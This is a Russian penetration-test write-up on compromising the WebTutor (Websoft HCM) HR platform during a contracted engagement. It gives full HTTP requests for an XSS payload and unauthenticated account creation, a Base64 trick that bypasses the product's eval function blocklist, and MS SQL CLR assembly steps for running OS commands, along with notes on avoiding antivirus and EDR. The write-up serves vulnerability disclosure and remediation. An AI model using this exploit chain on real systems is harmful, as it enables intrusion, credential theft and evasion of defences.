Мы про­води­ли пен­тест одной боль­шой ком­пании с хорошим бюд­жетом на ИБ и обна­ружи­ли баг в коробоч­ном решении WebTutor. Эта уяз­вимость поз­волила нам получить дос­туп во внут­реннюю сеть, где мы стол­кну­лись с EDR и анти­виру­сом. Обой­ти их помог­ла воз­можность исполнять коман­ды из зап­росов к БД.

Pentest Award

Этот текст получил третье мес­то на пре­мии Pentest Award 2024 в катего­рии «Про­бив web». Это сорев­нование еже­год­но про­водит­ся ком­пани­ей Awilix.

Здесь я не буду обсуждать весь ход работ — ско­уп был боль­шим, и в него вхо­дило мно­го самопис­ных при­ложе­ний и нес­коль­ко коробоч­ных. Рас­ска­жу лишь об ата­ке на WebTutor — как о наибо­лее инте­рес­ном момен­те.

warning

Статья име­ет озна­коми­тель­ный харак­тер и пред­назна­чена для спе­циалис­тов по безопас­ности, про­водя­щих тес­тирова­ние в рам­ках кон­трак­та. Автор и редак­ция не несут ответс­твен­ности за любой вред, при­чинен­ный с при­мене­нием изло­жен­ной информа­ции. Рас­простра­нение вре­донос­ных прог­рамм, наруше­ние работы сис­тем и наруше­ние тай­ны перепис­ки прес­леду­ются по закону.

Анализ исходных кодов (XSS и чтение файла)

Websoft HCM (ранее называ­лась WebTutor) — это сис­тема управле­ния талан­тами, пред­лага­ющая инс­тру­мен­ты под­бора, обу­чения, оцен­ки ком­петен­ций, пла­ниро­вания карь­еры, управле­ния зна­ниями. Это коробоч­ное решение, которое исполь­зует­ся мно­гими ком­пани­ями для авто­мати­зации работы по най­му и обу­чению сот­рудни­ков.

Встре­тив этот про­дукт в сети заказ­чика, мы решили его изу­чить под­робнее. Для это­го мож­но ска­чать демовер­сию, но в ней есть ряд огра­ниче­ний по срав­нению с уста­нов­ленной на сер­вере пол­ной. Зато дос­тупны исходные коды про­дук­та, и они как раз иден­тичны той вер­сии, что раз­верну­та у заказ­чика.

Ос­новное огра­ниче­ние демовер­сии — это воз­можность исполь­зовать толь­ко фай­ловую базу дан­ных, но при этом все воз­можнос­ти при­ложе­ния работа­ют. Сей­час демовер­сия про­дук­та пре­дос­тавля­ется толь­ко по зап­росу.

Для хра­нения дан­ных при­ложе­ние исполь­зует фай­ловую базу дан­ных или Microsoft SQL в зависи­мос­ти от нас­тро­ек.

Пос­ле уста­нов­ки находим в фай­ловой сис­теме пап­ку WebTutorAdmin с веб‑сер­вером. В ней две пап­ки: сно­ва WebTutorAdmin, где лежит админка, и WebTutorServer с про­чими фун­кци­ями сер­вера.

Я поис­кал извес­тные нам стра­ницы (логин и регис­тра­ция) и понял, что все фай­лы HTML из пап­ки WebTutorServer/wt/web дос­тупны через веб‑интерфейс. Так­же в этой пап­ке находят­ся фай­лы .xml и .bs, которые мож­но читать и выпол­нять через вызовы API.

info

WebTutor написан на язы­ке JScript. JScript — это реали­зация ECMAScript ком­пании Microsoft. При­ложе­ние так­же исполь­зует .NET Core и мно­жес­тво DLL-биб­лиотек. Для управле­ния логикой при­ложе­ния исполь­зуют­ся три типа фай­лов: .html — стра­ницы с кодом кли­ент­ской и сер­верной час­ти вмес­те, .xml и .bs. Пос­ледний исполь­зует­ся для опи­сания методов API, которые дос­тупны в при­ложе­нии. Фай­лы HTML в JScript напоми­нают шаб­лоны PHP, где сер­верный код череду­ется с кодом стра­ницы.

Дос­туп к боль­шинс­тву эндпо­интов API воз­можен без допол­нитель­ной авто­риза­ции, так как там есть про­вер­ка поль­зовате­ля. В шаб­лонах HTML за про­вер­ки сес­сии отве­чают под­гру­жаемые в начале скрип­ты:

Server.Execute( "include/user_init.html" );
Server.Execute( "include/host_init.html" );

Пос­ле уста­нов­ки WebTutor регис­тра­ция вклю­чена. Одна­ко на целевой сис­теме она недос­тупна, к тому же огра­ничен дос­туп к адми­нис­тра­тив­ным стра­ницам. Сле­дова­тель­но, нам нуж­но най­ти лазей­ку в дос­тупных неав­торизо­ван­ному поль­зовате­лю шаб­лонах HTML.

Быс­тро находим прос­тую XSS вот в этом фай­ле:

WebTutorAdmin/WebTutorServer/wt/web/replace_photo.html

Пе­ремен­ная URL берет­ся из зап­роса и без вся­кой филь­тра­ции встав­ляет­ся в код стра­ницы.

<%
try
{
_url = UrlDecode( Trim( Request.Form.GetProperty( "url" ) ) );
//...
<script type="text/javascript">
location.href = "<%=_url%>";
</script>
Пример встраивания кода на JScript
При­мер встра­ива­ния кода на JScript

Пол­ный HTTP-зап­рос для XSS:

POST /replace_photo.html HTTP/1.1
Host: 10.3.89.104
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/119.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/* ;q=0.8
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: SessionID=7303593220364327493
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
foto=1&url=1";alert(1);//

Пе­реп­роверя­ем все эндпо­инты API без авто­риза­ции и находим метод /api/spxml2/get_image. Он дос­тупен и поз­воля­ет читать про­изволь­ные фай­лы в сис­теме.

Пример чтения файла win.ini
При­мер чте­ния фай­ла win.ini

Создание нового пользователя в системе

Рас­ширить зону поис­ка мож­но, нап­ример, получив учет­ную запись. Ищем фай­лы, где про­исхо­дит работа с поль­зовате­лями, и находим воз­можность изме­нения про­филя в сле­дующем фай­ле:

WebTutorAdmin/WebTutorServer/wt/web/user_change.html

Из зап­роса берут­ся все дан­ные и даль­ше сох­раня­ются в БД, при этом не дела­ется про­вер­ка на активную сес­сию. Хоть при­ложе­ние лома­ется при таком зап­росе и выда­ет 500, оно все рав­но успе­вает выз­вать пер­вый блок кода, где выпол­няет­ся сох­ранение поль­зовате­ля в БД.

Все парамет­ры для соз­дава­емо­го поль­зовате­ля берут­ся из зап­роса, вклю­чая логин и пароль. Для соз­дания незаб­локиро­ван­ного поль­зовате­ля необ­ходимо передать аргу­мен­ты view=new без поля web_banned.

_login = tools_web.convert_xss(Request.Form.GetOptProperty("login", ""));
_password = tools_web.convert_xss(Request.Form.GetOptProperty("password", ""));
_lastname = tools_web.convert_xss(Request.Form.GetOptProperty("lastname", ""));
_firstname = tools_web.convert_xss(
Request.Form.GetOptProperty("firstname", "")
);
_middlename = tools_web.convert_xss(
Request.Form.GetOptProperty("middlename", "")
);
_position_name = tools_web.convert_xss(
Request.Form.GetOptProperty("position_name", "")
);
_view = tools_web.convert_xss(Request.Form.GetOptProperty("view", "self"));
_email = tools_web.convert_xss(Request.Form.GetOptProperty("email", ""));
_phone = tools_web.convert_xss(Request.Form.GetOptProperty("phone", ""));
_sex = tools_web.convert_xss(Request.Form.GetOptProperty("sex", "")); //...
if (_view == "new") _web_banned = Request.Form.HasProperty("web_banned");

По­том дан­ные из поля переда­ются в новый объ­ект поль­зовате­ля, который сох­раня­ется в сис­теме. И зло­умыш­ленник может выпол­нить вход от име­ни это­го поль­зовате­ля.

if (errStr == '') {
docUser = OpenNewDoc('x-local://wtv/wtv_collaborator.xmd');
docUser.TopElem.login = _login;
docUser.TopElem.password = tools.make_password(_password, false);
docUser.TopElem.lastname = _lastname;
docUser.TopElem.firstname = _firstname;
docUser.TopElem.middlename = _middlename;
docUser.TopElem.email = _email;
docUser.TopElem.phone = _phone;
docUser.TopElem.sex = _sex;
docUser.TopElem.access.web_banned = _web_banned;
docUser.TopElem.change_password = _change_password;
//...
docUser.BindToDb(DefaultDb);
docUser.Save();
Создание нового пользователя
Соз­дание нового поль­зовате­ля

Пол­ный HTTP-зап­рос для соз­дания поль­зовате­ля:

POST /user_change.html?ajax=1 HTTP/1.1
Host: 10.3.89.104
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,ima ge/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Connection: close
Upgrade-Insecure-Requests: 1
Accept-Language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7
DNT: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 215
login=danr0&password=P%40ss0rd_danr0&lastname=test&firstname=test&middlename=te st&position_name=test&email=test%401.ru&phone=1&sex=1&password2=P%40ss0rd_For_T 3st&sub_id=1&position=1&mode=1&subdivision=1&view=new

Исполнение произвольного кода через инъекцию команд

Пос­ле соз­дания поль­зовате­ля и вхо­да в сис­тему получа­ем дос­туп к кон­фиден­циаль­ным дан­ным, но нам нуж­на пол­ная ком­про­мета­ция.

Я про­дол­жил изу­чать оставши­еся HTML и обра­тил вни­мание на фун­кцию safe_execution. Она отве­чает за филь­тра­цию спе­циаль­ных сим­волов и опас­ных фун­кций.

Уяз­вимость находим в сле­дующем фай­ле:

WebTutorAdmin/WebTutorServer/wt/web/document_save.html

На этой стра­нице поль­зователь может передать в зап­росе име­на и зна­чения полей для соз­дава­емо­го докумен­та. В этих полях допус­тимо исполь­зование прис­тавки [@formula] для под­сче­та зна­чения по фор­муле. Если прог­рамма най­дет такую прис­тавку, она вызовет фун­кцию tools.safe_execution с дан­ными из зап­роса.

На­ша задача — най­ти спо­соб внед­рять про­изволь­ные коман­ды в фор­мулу, что­бы даль­ше они попали в eval и были выпол­нены.

_sf = String(Request.Form.GetProperty(_source_fields)).split(";");
_df = String(Request.Form.GetProperty(_destination_fields)).split(";");
for (_z = 0; _z < ArrayCount(_sf); _z++) {
if (_z >= ArrayCount(_df)) {
sErrorInform += "Entry(" + _x + "): Document save. Not enough data in destination_fields. Element: " + _z + "; ";
break;
}
_fld = Trim(replaceFieldValue(_sf[_z]));
if (_fld != "") {
iPrefixTameRepeat = 0;
while (iPrefixTameRepeat < 3) {
if (StrBegins(StrLowerCase(_df[_z]), "[encoded]")) {
_dfval = UrlDecode(String(_df[_z]).slice(9));
_encoded = true;
iPrefixTameRepeat += 2;
} else {
_dfval = replaceFieldValue(_df[_z]);
_encoded = false;
}
if (StrBegins(_dfval, "[@formula]")) {
_dfval = String(_dfval).slice(10);
try {
_dfval = tools.safe_execution(_dfval);
} catch (_dfval) {
_dfval = null;
}
iPrefixTameRepeat += 1;
}

Фун­кция safe_execution опре­деле­на вот в этом фай­ле:

WebTutorAdmin/WebTutorServer/wtv/wtv_tools.xml

Пе­ред переда­чей аргу­мен­та в фун­кцию eval про­изво­дит­ся филь­тра­ция опас­ных фун­кций по наз­вани­ям.

<safe_execution
PROPERTY="1"
CALLER-ENV="1"
PARAM="sCodeSaveExecutionParam"
EXPR="
if (sCodeSaveExecutionParam == "") return true;
temp_arrCodeSaveExecution = [
{
name: "file function",
arr: [
"CreateDirectory",
"CreateShellLink",
"DeleteDirectory",
"DeleteFile",
"GetShellFo lderPath",
"MoveFile",
"ObtainDirectory",
"ObtainSessionTempFile",
"ObtainTempFile",
"PutFileData",
"PutFileText",
"AddUrlMapping",
"CopyUrl",
"DeleteUrl",
"PutUrlData",
"PutUrlText",
],
},
{
name: "function",
arr: [
"RemoveEmptySysRegKey",
"RemoveSysRegKey",
"SetSysRegIntegerValue",
"SetSysRegStr Value",
"SysRegKeyExists",
"ProcessExecute",
"ShellExecute",
"DllWrapper",
"ActiveXO bject",
],
},
{
name: "execution function",
arr: [
"EvalCodeUrl",
"EvalCodePage",
"EvalCodePageUrl",
"EvalCs",
"InPlaceEval",
"OptEval",
"ServerEval",
"EvalAsync",
"EvalSync",
"EvalCode",
],
},
{ name: "tools function", arr: [] },
];
for (temp_arrCodeSaveExecutionElem in temp_arrCodeSaveExecution) {
for (sCodeSaveExecutionElem in temp_arrCodeSaveExecutionElem.arr) {
if (StrContains(sCodeSaveExecutionParam, sCodeSaveExecutionElem)) {
throw (
"Error code execution. Invalid " +
temp_arrCodeSaveExecutionElem.name +
" " +
sCodeSaveExecutionElem +
"."
);
return;
}
}
}
for (sCodeSaveExecutionElem in [" ", "=", "(", ";", ",", "\t", "\n"]) {
for (sPostCodeSaveExecutionElem in ["(", " ("]) {
if (
StrContains(
sCodeSaveExecutionParam,
sCodeSaveExecutionElem + "eval" + sPostCodeSaveExecutionElem
)
) {
throw "Error code execution. Invalid Eval function.";
return;
}
}
}
return eval(sCodeSaveExecutionParam);
"
/>

Что­бы обой­ти про­вер­ку, нуж­но как‑то обфусци­ровать наз­вание фун­кции. Нап­ример, можем закоди­ровать его в Base64, а затем выз­вать декоди­рова­ние и передать резуль­тат в eval:

eval (Base64Decode("
<base64_arbitary_code>"))"

Та­кой пей­лоад поз­воля­ет вызывать любые фун­кции в кон­тек­сте при­ложе­ния.

На скрин­шоте ниже — прос­мотр уста­новоч­ной дирек­тории с помощью уяз­вимос­ти. Для вывода резуль­тата исполь­зует­ся соз­дание нового заголов­ка в отве­те сер­вера (при даль­нейшей экс­плу­ата­ции будет исполь­зовать­ся заголо­вок x-msg: <base64_output>).

На целевой сис­теме сра­зу исполнять про­изволь­ные коман­ды не будем, это может выз­вать сра­баты­вание анти­виру­са. Вмес­то это­го можем спо­кой­но исполь­зовать встро­енные воз­можнос­ти веб‑при­ложе­ния. С их помощью прос­матри­ваем дирек­тории и дей­стви­тель­но находим анти­вирус и агент EDR извес­тных про­изво­дите­лей.

Так­же по умол­чанию все пароли поль­зовате­лей хра­нят­ся в откры­том виде, поэто­му можем извлечь их из БД, сох­ранить в файл и получить через веб‑сер­вер.

Исполнение кода на MS SQL через User Defined Function

Так как на сис­теме уста­нов­лены хорошие сис­темы безопас­ности, нуж­но их обхо­дить или же искать дру­гой путь прод­вижения.

На целевой сис­теме исполь­зует­ся не фай­ловая БД, а Microsoft SQL. При этом база дан­ных рас­полага­ется на дру­гом хос­те и име­ет дру­гие нас­трой­ки. Потен­циаль­но это поз­воля­ет нам перенес­ти ата­ку на дру­гой хост без уста­нов­ленных защит­ных решений.

Про­веря­ем, что текущий поль­зователь при­ложе­ния име­ет роль sysadmin в базе MS SQL. Для экс­плу­ата­ции будем исполь­зовать рас­ширен­ную про­цеду­ру на язы­ке C# для базы дан­ных MS SQL. Она поз­воля­ет выпол­нять про­изволь­ные коман­ды в опе­раци­онной сис­теме.

Нам надо заг­рузить ском­пилиро­ван­ную DLL на сер­вер и уста­новить в виде рас­ширен­ной про­цеду­ры.

Вклю­чаем опцию, раз­реша­ющую выпол­нение поль­зователь­ских CLR-сбо­рок:

sp_configure 'clr enabled', 1;

Че­рез фун­кцию sp_add_trusted_assembly на сер­вере добав­ляем хеш (SHA-512) для «доверен­ной» сбор­ки:

EXEC sp_add_trusted_assembly <SHA_512>,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';"

С помощью SQL-зап­роса соз­даем новую сбор­ку и на ее осно­ве регис­три­руем фун­кцию:

CREATE ASSEMBLY [mylib] AUTHORIZATION [dbo] <HEX> FROM WITH PERMISSION_SET = UNSAFE";
CREATE FUNCTION [dbo].[http] (@url [nvarchar](MAX)) RETURNS [nvarchar] (MAX) AS EXTERNAL NAME [HttpDb].[UserDefinedFunctions].[http];

Так я добавил на сер­вер нес­коль­ко CLR-про­цедур (HTTP DB, Trace), выпол­няющих лис­тинг локаль­ных дирек­торий, коман­ды ОС, HTTP-зап­росы и рас­паков­ку исполня­емых фай­лов.

При ана­лизе фай­ловой сис­темы БД я не нашел сле­дов сто­рон­них защит­ных решений: в сис­теме уста­нов­лен толь­ко Windows Defender. Его можем без проб­лем обой­ти или прос­то вык­лючить с пра­вами сис­темы. Тем самым получа­ем вход­ную точ­ку в ком­панию без необ­ходимос­ти обхо­да EDR-аген­та и сто­рон­них анти­виру­сов.

В ито­ге получа­ем такую пос­ледова­тель­ность: соз­дание поль­зовате­ля → инъ­екция команд через eval → SQL-зап­рос → UDF → ком­про­мета­ция хос­та с БД.

Най­ден­ные уяз­вимос­ти зарегис­три­рова­ны в БДУ под сле­дующи­ми иден­тифика­тора­ми:

Рекомендации по устранению

Все проб­лемы были устра­нены в более новых вер­сиях про­дук­та. Тем ком­пани­ям, которые не могут обно­вить­ся, мы рекомен­дуем огра­ничить дос­туп к уяз­вимым фай­лам или отклю­чить через редак­тирова­ние уяз­вимые час­ти кода. Сот­рудни­кам ком­пании‑заказ­чика мы пореко­мен­довали огра­ничить сетевой дос­туп до коробоч­ных решений и уста­нав­ливать EDR на все хос­ты.

Спа­сибо коман­де раз­работ­чиков за быс­трое реаги­рова­ние и ис­прав­ление кри­тичес­кой проб­лемы, акту­аль­ной для всех вер­сий про­дук­та.